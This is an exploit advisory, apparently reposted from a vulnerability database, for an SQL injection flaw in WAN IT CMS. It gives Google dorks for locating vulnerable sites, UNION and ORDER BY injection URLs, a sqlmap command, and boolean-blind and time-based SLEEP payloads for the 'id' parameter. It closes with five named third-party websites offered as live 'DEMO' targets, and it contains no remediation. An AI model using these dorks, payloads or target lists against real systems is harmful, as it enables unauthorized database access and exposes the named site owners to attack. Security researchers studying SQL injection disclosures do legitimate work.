Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:32437
HistoryAug 24, 2015 - 12:00 a.m.

AN IT CMS - SQL Injection Vulnerability

2015-08-2400:00:00
vulners.com
24

==========================================================
[+] Title :- WAN IT CMS - SQL Injection Vulnerability
[+] Date :- 23 - July - 2015
[+] Vendor Homepage :- http://www.wanitltd.com/
[+] Version :- All Versions
[+] Tested on :- Nginx/1.4.5, PHP/5.2.17, Linux - Windows
[+] Category :- webapps
[+] Google Dorks :- "Design & Developed by WAN IT LTD"
"Design & Developed by WAN IT LTD" +inurl:/.php?id=
[+] Exploit Author :- Shelesh Rauthan (ShOrTy420 aKa SEB@sTiaN)
[+] Team name :- Team Alastor Breeze, Intelligent-Exploit
[+] Official Website :- serverfarming.com, intelligentexploit.com
[+] The official Members :- Sh0rTy420, P@rL0u$, !nfIn!Ty, Th3G0v3Rn3R, m777k
[+] Greedz to :- @@lu, Lalit, MyLappy<3, Diksha, DK
[+] Contact :- fb.com/shelesh.rauthan, [email protected], [email protected]

=========================================================
[+] Severity Level :- High

[+] Request Method(s) :- GET / POST

[+] Vulnerable Parameter(s) :- id

[+] Affected Area(s) :- Entire admin, database, Server

[+] About :- Unauthenticated SQL Injection via Multiple Php Files causing an SQL error

[+] SQL vulnerable File :- /home/DOMAIN/public_html/XXX.php

[+] POC :- http://127.0.0.1/XXX.php?id=[SQL]&#39;

The sql Injection web vulnerability can be be exploited by remote attackers without any privilege of web-application user account or user interaction.

http://www.[WEBSITE].com/product.php?id=7' order by [SQL IN4JECTION]–+
http://www.[WEBSITE].com/product.php?id=7' union all select [SQL INJECTION]–+

SQLMap
++++++++++++++++++++++++++
python sqlmap.py --url "http://127.0.0.1/XXX.php?id=[SQL]&quot; --dbs
++++++++++++++++++++++++++

Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=7' AND 5490=5490 AND 'dEBX'='dEBX

Type: AND/OR time-based blind
Title: MySQL &gt;= 5.0.12 AND time-based blind &#40;SELECT&#41;
Payload: id=7&#39; AND &#40;SELECT * FROM &#40;SELECT&#40;SLEEP&#40;5&#41;&#41;&#41;Knfn&#41; AND &#39;keXt&#39;=&#39;keXt

[+] DEMO :- http://jimsbd.com/product.php?id=7&#39;
http://www.rahimafood.com/news_d.php?id=5&#39;
http://digitech-bd.com/pro_physiotherapy_sub.php?id=10&#39;
http://www.saintmartinholidays.com/package.php?id=1&#39;
http://www.xoom-auto.com/products_details.php?id=66&#39;

=======================================================